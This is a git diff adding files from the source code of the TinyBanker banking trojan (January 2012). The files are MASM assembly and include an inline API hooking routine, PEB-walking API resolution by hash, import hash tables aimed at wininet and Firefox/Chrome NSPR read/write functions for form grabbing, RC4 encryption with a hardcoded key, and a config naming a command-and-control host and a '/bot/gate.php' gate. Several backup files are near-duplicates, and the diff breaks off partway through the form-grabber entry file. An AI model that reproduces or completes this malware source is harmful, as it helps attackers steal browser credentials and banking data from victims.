+++ b/malwares/Source/Original/TinyBanker_Jan2012/source/API/HookAPI.inc @@ -0,0 +1,94 @@ + +.code + +;; ==================================================================================================== ;; +;; HookAPI - procedure sets hook on given API address ;; +;; replace original API start to push addr and retn to handler procedure ;; +;; creates trampoline contained replaced code of original API and return to code after it ;; +;; changes given API pointer to address of trampoline (real API code start) ;; +;; __in lpHandlerProc - pointer to handler procedure ;; +;; __inout plpAPI - pointer to API pointer ;; +;; ==================================================================================================== ;; +HookAPI proc uses ecx edi esi lpHandlerProc, plpAPI : dword + local lpAPI : dword + local flOldProtect : dword + + + + mov eax, plpAPI + mov eax, [eax] + mov lpAPI, eax + + + ;; Change API memory protection + invokx _VirtualProtect[ebx], lpAPI, 32, PAGE_READWRITE, &flOldProtect + test eax, eax + jz @ret + + + ;; Allocate memory for trampoline + invokx _VirtualAlloc[ebx], 0, 32, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE + test eax, eax + jz @oldprotect + mov edi, eax + + + ;; Get size of code to copy + xor ecx, ecx + mov esi, lpAPI + +@@: mov eax, ebx + add eax, c_Catchy + call eax + cmp eax, -1 + je @error + + add esi, eax ;; esi = current code instruction + add ecx, eax ;; eax = current instructions len + cmp ecx, 5 + jb @B + + + ;; Copy original api code to new place + mov eax, edi ;; save + sub esi, ecx ;; pointer to current API start + rep movsb + + + ;; Write return to original API code + len of copied code + mov byte ptr [edi], 68h ;; PUSH offset original API + offsed of copied code + mov dword ptr [edi+1], esi ;; addr + mov byte ptr [edi+5], 0C3h ;; RETN + + + ;; New real API address + mov edi, plpAPI + mov [edi], eax + + + ;; Edit original API code start + mov edi, lpAPI + mov eax, lpHandlerProc + mov byte ptr [edi], 0E9h ;; JMP FAR + sub eax, edi ;; + sub eax, 5 ;; + mov dword ptr [edi+1], eax ;; addr + + + jmp @oldprotect + + +@error: + ;; Release trampoline memory + invokx _VirtualFree[ebx], edi, 0, MEM_RELEASE + + +@oldprotect: + ;; Restore old API memory protection + invokx _VirtualProtect[ebx], lpAPI, 32, flOldProtect, &flOldProtect + + +@ret: + ret +HookAPI endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/API/RestoreAPIs.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/API/RestoreAPIs.inc new file mode 100644 index 0000000..550275e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/API/RestoreAPIs.inc @@ -0,0 +1,151 @@ + +.code + +;; ==================================================================================================== ;; +;; ApiAddrFromLib - restore WinAPI in given library by hash ;; +;; __in lpDllBaseAddr - pointer to library base ;; +;; ==================================================================================================== ;; +ApiAddrFromCrc proc uses ecx edx edi esi lpDllBaseAddr : dword + local dwAddressOfFunctions : dword + local dwAddressOfNameOrdinals : dword + + + + xor eax, eax + cmp lpDllBaseAddr, eax + je @ret + + + ;; Begin + mov esi, lpDllBaseAddr + assume esi : ptr IMAGE_DOS_HEADER + add esi, [esi].e_lfanew + assume esi : ptr IMAGE_NT_HEADERS + mov esi, [esi].OptionalHeader.DataDirectory.VirtualAddress + add esi, lpDllBaseAddr + assume esi : ptr IMAGE_EXPORT_DIRECTORY + mov ecx, [esi].NumberOfNames + mov eax, [esi].AddressOfFunctions + mov dwAddressOfFunctions, eax + mov eax, [esi].AddressOfNameOrdinals + add eax, lpDllBaseAddr + mov dwAddressOfNameOrdinals, eax + mov esi, [esi].AddressOfNames + add esi, lpDllBaseAddr + assume esi : nothing + + + ;; Process API hashes table +@next_api_name: + mov edi, lpDllBaseAddr ;; edi points to the name of function + add edi, [esi] + add esi, 4 + + + ;; Calc function name hash + xor edx, edx +@@: mov eax, 7 + mul edx + mov edx, eax + movzx eax, byte ptr [edi] + add edx, eax + inc edi + cmp byte ptr [edi], 0 + jnz @B ;; if more symbols in api name + + + ;; Get offset to ordinal + mov eax, dwAddressOfNameOrdinals ;; AddressOfNameOrdinals + add dwAddressOfNameOrdinals, 2 ;; Move to next ordinal word + mov edi, @_API_Hashes_table + add edi, ebx + add edi, 4 + + +@check_next_hash: + cmp [edi], edx + jne @F + + + ;; Needed function found + movzx eax, word ptr [eax] ;; Name ordinal + shl eax, 2 ;; Multiply by 4 + add eax, lpDllBaseAddr + add eax, dwAddressOfFunctions + mov eax, [eax] + add eax, lpDllBaseAddr + mov [edi-4], eax ;; Store API address + + + ;; Move to next API hash +@@: add edi, 8 + ;; Check if last hash or last API + cmp dword ptr [edi], 0 + jnz @check_next_hash + + + ;; Check if last API in Lib + dec ecx + jnz @next_api_name + +@ret: + ret +ApiAddrFromCrc endp + + + +;; ==================================================================================================== ;; +;; CleanApiAddrTable - Clean WinAPI addresses table ;; +;; ==================================================================================================== ;; +CleanApiAddrTable proc uses edi + + mov edi, @_API_Hashes_table + add edi, ebx + xor eax, eax + +@clean_next: + mov [edi], eax + add edi, 8 + cmp [edi+4], eax + jnz @clean_next + + ret +CleanApiAddrTable endp + + + +;; ==================================================================================================== ;; +;; RestoreAPIs - restore WinAPI addresses ;; +;; ==================================================================================================== ;; +RestoreAPIs proc uses ecx edi esi + + invokx &CleanApiAddrTable[ebx] + + + ;; Get "kernel32" base address + assume fs : flat + mov esi, [fs:30h] ;; get a pointer to the PEB + mov esi, [esi+0Ch] + mov esi, [esi+1Ch] +@@: mov ecx, [esi+8h] + mov edi, [esi+20h] + mov esi, [esi] + cmp dword ptr [edi+0Ch], 0320033h ;; "32" in unicode + jne @B + + + ;; restore "kernel32" APIs + invokx &ApiAddrFromCrc[ebx], ecx + + + invokx _GetModuleHandleA[ebx], "ntdll" + invokx &ApiAddrFromCrc[ebx], eax + + + invokx _GetModuleHandleA[ebx], "ws2_32" + invokx &ApiAddrFromCrc[ebx], eax + + + ret +RestoreAPIs endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(1).inc new file mode 100644 index 0000000..3259f15 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(1).inc @@ -0,0 +1,104 @@ + +.code + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + + +@_API_Hashes_table: +;; API Hashes table start + + ;; kernel32 + _LoadLibraryA dd 0, 05A575AE4h + _GetModuleHandleA dd 0, 0C02BD427h + + _CreateToolhelp32Snapshot dd 0, 03B2EFF48h + _Process32First dd 0, 0D2F49D5Ah + _Process32Next dd 0, 0B06C2089h + _OpenProcess dd 0, 0684C0A05h + + + _CreateFileA dd 0, 0A2A93BE9h + _GetFileSize dd 0, 0CA80AE13h + _SetFilePointer dd 0, 006D09387h + _ReadFile dd 0, 004D8BEBAh + _WriteFile dd 0, 0245BD03Bh + + _CreateRemoteThread dd 0, 03E01E6ACh + _CreateThread dd 0, 072A43A6Eh + _ExitProcess dd 0, 0D4D6F7A1h + + _VirtualAlloc dd 0, 0C03EE45Ah + _VirtualAllocEx dd 0, 0CC09B795h + _VirtualProtect dd 0, 0CC265304h + _VirtualProtectEx dd 0, 01355E61Fh + _VirtualFree dd 0, 0D252282Fh + _VirtualFreeEx dd 0, 041B9B35Ah + _WriteProcessMemory dd 0, 0894852D9h + + _lstrcmpiA dd 0, 02BB2FD91h + _lstrlenA dd 0, 0063E2E81h + + _CloseHandle dd 0, 0986B3A78h + _GetCurrentProcessId dd 0, 01547C797h + _WinExec dd 0, 000BB9A05h + _Sleep dd 0, 00003B1AFh + _ExitThread dd 0, 0D543F4F0h + + + + ;; ntdll + _RtlAdjustPrivilege dd 0, 0EFD3AA98h + _RtlGetLastWin32Error dd 0, 0FEC76D6Fh + _RtlSetLastWin32Error dd 0, 0BB094F7Bh + + + + ;; ws2_32 + _WSAStartup dd 0, 0F1AED070h + _inet_addr dd 0, 02A51A274h + _gethostbyname dd 0, 03718CB58h + _socket dd 0, 000222B6Bh + _connect dd 0, 000D2E20Ah + _send dd 0, 00000B0D0h + _recv dd 0, 00000AF3Eh + _closesocket dd 0, 0B33E156Bh + + + ;; wininet + _HttpAddRequestHeadersA dd 0, 003F21E69h + _HttpAddRequestHeadersW dd 0, 003F21E7Fh + _HttpQueryInfoA dd 0, 0C542F043h + _InternetQueryOptionA dd 0, 0312DDA65h + _InternetGetCookieA dd 0, 04C581F48h + + _InternetSetStatusCallback dd 0, 0C3F003F0h + _InternetReadFileExA dd 0, 0CA699E5Bh + _HttpSendRequestA dd 0, 0AF43415Ah + _HttpSendRequestW dd 0, 0AF434170h + _InternetReadFile dd 0, 0F268CC2Bh + _InternetQueryDataAvailable dd 0, 09450A760h + _HttpSendRequestExW dd 0, 08BDF869Dh + _InternetWriteFile dd 0, 0A34C2E52h + _HttpEndRequestA dd 0, 087F01B75h + _InternetCloseHandle dd 0, 0E46D3CDFh + + + ;; nspr4 & chrome + _PR_Write dd 0, 0049CBEFAh + _PR_Read dd 0, 000A8A40Bh + _PR_Close dd 0, 0049BFC7Bh + +;; API Hashes table end + dd 0, 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(2).inc new file mode 100644 index 0000000..2ef1153 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(2).inc @@ -0,0 +1,105 @@ + +.code + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + + + +@_API_Hashes_table: +;; API Hashes table start + + ;; kernel32 + _LoadLibraryA dd 0, 05A575AE4h + _GetModuleHandleA dd 0, 0C02BD427h + + _CreateToolhelp32Snapshot dd 0, 03B2EFF48h + _Process32First dd 0, 0D2F49D5Ah + _Process32Next dd 0, 0B06C2089h + _OpenProcess dd 0, 0684C0A05h + + + _CreateFileA dd 0, 0A2A93BE9h + _GetFileSize dd 0, 0CA80AE13h + _SetFilePointer dd 0, 006D09387h + _ReadFile dd 0, 004D8BEBAh + _WriteFile dd 0, 0245BD03Bh + + _CreateRemoteThread dd 0, 03E01E6ACh + _CreateThread dd 0, 072A43A6Eh + _ExitProcess dd 0, 0D4D6F7A1h + + _VirtualAlloc dd 0, 0C03EE45Ah + _VirtualAllocEx dd 0, 0CC09B795h + _VirtualProtect dd 0, 0CC265304h + _VirtualProtectEx dd 0, 01355E61Fh + _VirtualFree dd 0, 0D252282Fh + _VirtualFreeEx dd 0, 041B9B35Ah + _WriteProcessMemory dd 0, 0894852D9h + + _lstrcmpiA dd 0, 02BB2FD91h + _lstrlenA dd 0, 0063E2E81h + + _CloseHandle dd 0, 0986B3A78h + _GetCurrentProcessId dd 0, 01547C797h + _WinExec dd 0, 000BB9A05h + _Sleep dd 0, 00003B1AFh + _ExitThread dd 0, 0D543F4F0h + + + + ;; ntdll + _RtlAdjustPrivilege dd 0, 0EFD3AA98h + _RtlGetLastWin32Error dd 0, 0FEC76D6Fh + _RtlSetLastWin32Error dd 0, 0BB094F7Bh + + + + ;; ws2_32 + _WSAStartup dd 0, 0F1AED070h + _inet_addr dd 0, 02A51A274h + _gethostbyname dd 0, 03718CB58h + _socket dd 0, 000222B6Bh + _connect dd 0, 000D2E20Ah + _send dd 0, 00000B0D0h + _recv dd 0, 00000AF3Eh + _closesocket dd 0, 0B33E156Bh + + + ;; wininet + _HttpAddRequestHeadersA dd 0, 003F21E69h + _HttpAddRequestHeadersW dd 0, 003F21E7Fh + _HttpQueryInfoA dd 0, 0C542F043h + _InternetQueryOptionA dd 0, 0312DDA65h + _InternetGetCookieA dd 0, 04C581F48h + + _InternetSetStatusCallback dd 0, 0C3F003F0h + _InternetReadFileExA dd 0, 0CA699E5Bh + _HttpSendRequestA dd 0, 0AF43415Ah + _HttpSendRequestW dd 0, 0AF434170h + _InternetReadFile dd 0, 0F268CC2Bh + _InternetQueryDataAvailable dd 0, 09450A760h + _HttpSendRequestExW dd 0, 08BDF869Dh + _InternetWriteFile dd 0, 0A34C2E52h + _HttpEndRequestA dd 0, 087F01B75h + _InternetCloseHandle dd 0, 0E46D3CDFh + + + ;; nspr4 & chrome + _PR_Write dd 0, 0049CBEFAh + _PR_Read dd 0, 000A8A40Bh + _PR_Close dd 0, 0049BFC7Bh + +;; API Hashes table end + dd 0, 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(3).inc new file mode 100644 index 0000000..bb5ab59 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(3).inc @@ -0,0 +1,90 @@ + +.code + +@_API_Hashes_table: +;; API Hashes table start + + ;; kernel32 + _LoadLibraryA dd 0, 05A575AE4h + _GetModuleHandleA dd 0, 0C02BD427h + + _CreateToolhelp32Snapshot dd 0, 03B2EFF48h + _Process32First dd 0, 0D2F49D5Ah + _Process32Next dd 0, 0B06C2089h + _OpenProcess dd 0, 0684C0A05h + + + _CreateFileA dd 0, 0A2A93BE9h + _GetFileSize dd 0, 0CA80AE13h + _SetFilePointer dd 0, 006D09387h + _ReadFile dd 0, 004D8BEBAh + _WriteFile dd 0, 0245BD03Bh + + _CreateRemoteThread dd 0, 03E01E6ACh + _CreateThread dd 0, 072A43A6Eh + _ExitProcess dd 0, 0D4D6F7A1h + + _VirtualAlloc dd 0, 0C03EE45Ah + _VirtualAllocEx dd 0, 0CC09B795h + _VirtualProtect dd 0, 0CC265304h + _VirtualProtectEx dd 0, 01355E61Fh + _VirtualFree dd 0, 0D252282Fh + _VirtualFreeEx dd 0, 041B9B35Ah + _WriteProcessMemory dd 0, 0894852D9h + + _lstrcmpiA dd 0, 02BB2FD91h + _lstrlenA dd 0, 0063E2E81h + + _CloseHandle dd 0, 0986B3A78h + _GetCurrentProcessId dd 0, 01547C797h + _WinExec dd 0, 000BB9A05h + _Sleep dd 0, 00003B1AFh + _ExitThread dd 0, 0D543F4F0h + + + + ;; ntdll + _RtlAdjustPrivilege dd 0, 0EFD3AA98h + _RtlGetLastWin32Error dd 0, 0FEC76D6Fh + _RtlSetLastWin32Error dd 0, 0BB094F7Bh + + + + ;; ws2_32 + _WSAStartup dd 0, 0F1AED070h + _inet_addr dd 0, 02A51A274h + _gethostbyname dd 0, 03718CB58h + _socket dd 0, 000222B6Bh + _connect dd 0, 000D2E20Ah + _send dd 0, 00000B0D0h + _recv dd 0, 00000AF3Eh + _closesocket dd 0, 0B33E156Bh + + + ;; wininet + _HttpAddRequestHeadersA dd 0, 003F21E69h + _HttpAddRequestHeadersW dd 0, 003F21E7Fh + _HttpQueryInfoA dd 0, 0C542F043h + _InternetQueryOptionA dd 0, 0312DDA65h + _InternetGetCookieA dd 0, 04C581F48h + + _InternetSetStatusCallback dd 0, 0C3F003F0h + _InternetReadFileExA dd 0, 0CA699E5Bh + _HttpSendRequestA dd 0, 0AF43415Ah + _HttpSendRequestW dd 0, 0AF434170h + _InternetReadFile dd 0, 0F268CC2Bh + _InternetQueryDataAvailable dd 0, 09450A760h + _HttpSendRequestExW dd 0, 08BDF869Dh + _InternetWriteFile dd 0, 0A34C2E52h + _HttpEndRequestA dd 0, 087F01B75h + _InternetCloseHandle dd 0, 0E46D3CDFh + + + ;; nspr4 & chrome + _PR_Write dd 0, 0049CBEFAh + _PR_Read dd 0, 000A8A40Bh + _PR_Close dd 0, 0049BFC7Bh + +;; API Hashes table end + dd 0, 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(1).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(1).ASM new file mode 100644 index 0000000..e253214 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(1).ASM @@ -0,0 +1,20 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(2).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(2).ASM new file mode 100644 index 0000000..78daf74 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(2).ASM @@ -0,0 +1,34 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + + sPassword db "default_password" + + + sBotNET db "default" + sSupplier db "loadscc" + + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(1).inc new file mode 100644 index 0000000..c324d78 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(1).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare1 proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(2).inc new file mode 100644 index 0000000..3cb5a3e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(2).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(3).inc new file mode 100644 index 0000000..c324d78 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(3).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare1 proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(4).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(4).inc new file mode 100644 index 0000000..c324d78 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(4).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare1 proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(5).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(5).inc new file mode 100644 index 0000000..7860a68 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(5).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare1 proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\r\n", 2 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(6).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(6).inc new file mode 100644 index 0000000..daa8555 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(6).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\r\n", 2 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(1).inc new file mode 100644 index 0000000..dc39c14 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(1).inc @@ -0,0 +1,22 @@ + +.code + +;; ==================================================================================================== ;; +;; Crypt ;; +;; ==================================================================================================== ;; +Crypt1 proc lpData, dwLen : dword + local dwlpKeyTable : dword + + + + invokx _VirtualAlloc[ebx], 0, 256, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov dwlpKeyTable, eax + + invokx &RC4SetKey[ebx], dwlpKeyTable, &sPassword[ebx], sizeof sPassword + invokx &RC4Crypt[ebx], dwlpKeyTable, lpData, dwLen + + invokx _VirtualFree[ebx], dwlpKeyTable, 0, MEM_RELEASE + + ret +Crypt1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(2).inc new file mode 100644 index 0000000..7424c3f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(2).inc @@ -0,0 +1,22 @@ + +.code + +;; ==================================================================================================== ;; +;; Crypt ;; +;; ==================================================================================================== ;; +Crypt proc lpData, dwLen : dword + local dwlpKeyTable : dword + + + + invokx _VirtualAlloc[ebx], 0, 256, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov dwlpKeyTable, eax + + invokx &RC4SetKey[ebx], dwlpKeyTable, &sPassword[ebx], sizeof sPassword + invokx &RC4Crypt[ebx], dwlpKeyTable, lpData, dwLen + + invokx _VirtualFree[ebx], dwlpKeyTable, 0, MEM_RELEASE + + ret +Crypt endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(1).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(1).ASM new file mode 100644 index 0000000..97c2b62 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(1).ASM @@ -0,0 +1,33 @@ +.686 +.model flat, stdcall +option casemap : none + +; DEBUGMODE = 1 + + include INCLUDES.ASM + + +.code + +;; ==================================================================================================== ;; +;; NORMAL_START - program entry point ;; +;; ==================================================================================================== 